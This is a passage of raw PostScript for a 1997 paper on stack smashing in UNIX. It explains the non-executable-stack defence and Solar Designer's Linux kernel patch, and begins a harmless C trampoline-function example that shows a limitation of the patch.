1.0000 SET_CMYK GS n 6792 2129 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6954 2129 M (libraries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1853 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1442 1853 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1739 1853 M (actual ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2230 1853 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2916 1853 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3425 1853 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3676 1853 M (necessary, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4460 1853 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4849 1853 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5146 1853 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5868 1853 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6425 1853 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6935 1853 M (need ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 1853 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1577 M (recompiled. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2107 1577 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2299 1577 M (practical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2944 1577 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4060 1577 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4271 1577 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4583 1577 M (concept ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5172 1577 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 1577 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5685 1577 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6154 1577 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6854 1577 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 1577 M (is ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 27 27 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (described ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1887 9848 M (below, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2384 9848 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2673 9848 M (description ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3461 9848 M (touches ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4018 9848 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4233 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4485 9848 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4968 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5156 9848 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6249 9848 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6437 9848 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6772 9848 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6960 9848 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (the problems.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9296 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1941 9296 M (remove ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2488 9296 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2877 9296 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3570 9296 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4208 9296 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 9296 M (UNIX, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4889 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5139 9296 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5814 9296 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6324 9296 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6944 9296 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (allocation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1926 9020 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2332 9020 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2535 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2802 9020 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3494 9020 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4021 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4196 9020 M (marked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4760 9020 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4963 9020 M (non-executable. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6127 9020 M (Thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6566 9020 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7000 9020 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (started ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1713 8744 M (under ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2156 8744 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2525 8744 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2663 8744 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3143 8744 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3622 8744 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4000 8744 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4221 8744 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4627 8744 M (pages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5070 8744 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5402 8744 M (marked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5966 8744 M (non-executable. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7130 8744 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8468 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1882 8468 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2455 8468 M (depend ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2982 8468 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3195 8468 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3399 8468 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4157 8468 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4546 8468 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4953 8468 M (returning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5610 8468 M (back ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5971 8468 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6276 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6397 8468 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7000 8468 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1671 8192 M (executes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2307 8192 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2527 8192 M (interactive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3292 8192 M (shell. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3753 8192 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4010 8192 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4711 8192 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5014 8192 M (functionality ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5926 8192 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6314 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6580 8192 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7148 8192 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (stack smashing vulnerabilities can be stopped. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7640 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1900 7640 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2333 7640 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3044 7640 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3459 7640 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4178 7640 M (permission ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4982 7640 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5314 7640 M (written ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5858 7640 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6126 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6402 7640 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6872 7640 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1732 7364 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1965 7364 M (someone ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2624 7364 M (going ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3069 7364 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3431 7364 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3664 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3934 7364 M (alias ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4306 7364 M (Solar ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4733 7364 M (Designer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5343 7364 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 7364 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5643 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5913 7364 M (Internet.[7] ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6777 7364 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 7364 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (involved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1841 7088 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2502 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2757 7088 M (k) ST -3 0 MR (e) ST -3 0 MR (r) ST -4 0 MR (n) ST -4 0 MR (e) ST -4 0 MR (l) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3320 7088 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3686 7088 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4293 7088 M (limit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4659 7088 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5071 7088 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5197 7088 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5526 7088 M (descriptor, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6286 7088 M (so ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6486 7088 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6787 7088 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6931 7088 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 7088 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6812 M (cover ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1640 6812 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1909 6812 M (actual ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2372 6812 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2780 6812 M (space, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3258 6812 M (effectively ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4036 6812 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4740 6812 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4963 6812 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5371 6812 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6083 6812 M (privilege. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6824 6812 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 6880 6812 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 6812 M (Solar ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (D) ST -2 0 MR (e) ST -2 0 MR (s) ST -2 0 MR (i) ST -2 0 MR (g) ST -2 0 MR (n) ST -2 0 MR (e) ST -2 0 MR (r) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1965 6536 M (complete ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2615 6536 M (patch, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3076 6536 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3339 6536 M (Appendix ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4017 6536 M (C\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4184 6536 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4276 6536 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4511 6536 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4635 6536 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5045 6536 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5344 6536 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5505 6536 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5767 6536 M (difficult ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6353 6536 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6532 6536 M (compile ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7118 6536 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 6536 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1675 6260 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1962 6260 M (test, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2282 6260 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2569 6260 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2940 6260 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3144 6260 M (aware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3589 6260 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3775 6260 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4025 6260 M (potential ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4653 6260 M (difficulties ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5421 6260 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5763 6260 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6050 6260 M (method. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6680 6260 M (First, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7075 6260 M (nested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5984 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1844 5984 M (calls) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2158 5984 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2249 5984 M (or) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2388 5984 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2479 5984 M (trampoline ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3299 5984 M (functions) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3908 5984 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3999 5984 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4256 5984 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4559 5984 M (work ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4992 5984 M (properly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5647 5984 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6033 5984 M (patched ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6641 5984 M (kernels. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5984 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5708 M (example of a trampoline function is as follows:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5336 M 7523 5336 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5331 M 1181 5213 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5331 M 7519 5213 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 5229 M (include ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5212 M 1181 5053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5212 M 7519 5053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5052 M 1181 4948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5052 M 7519 4948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4964 M ( int) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4947 M 1181 4843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4947 M 7519 4843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4859 M ( g \(int a, int b, int \(*gi\) \(int, int\)\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4842 M 1181 4738 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4842 M 7519 4738 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4754 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4737 M 1181 4633 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4737 M 7519 4633 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4649 M ( printf \("Inside g, a = %d, b = %d, gi = 0x%.8lx\\n", a, b, \(long\)gi\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4632 M 1181 4528 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4632 M 7519 4528 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4544 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4527 M 1181 4368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4527 M 7519 4368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4367 M 1181 4263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4367 M 7519 4263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4279 M ( if \(\(*gi\) \(a, b\)\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4262 M 1181 4158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4262 M 7519 4158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4174 M ( return a;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4157 M 1181 4053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4157 M 7519 4053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4069 M ( else) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4052 M 1181 3948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4052 M 7519 3948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3964 M ( return b;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3947 M 1181 3843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3947 M 7519 3843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3859 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3842 M 1181 3683 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3842 M 7519 3683 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3682 M 1181 3578 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3682 M 7519 3578 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3594 M ( void) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3577 M 1181 3473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3577 M 7519 3473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3489 M ( f \(void\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3472 M 1181 3368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3472 M 7519 3368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3384 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3367 M 1181 3263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 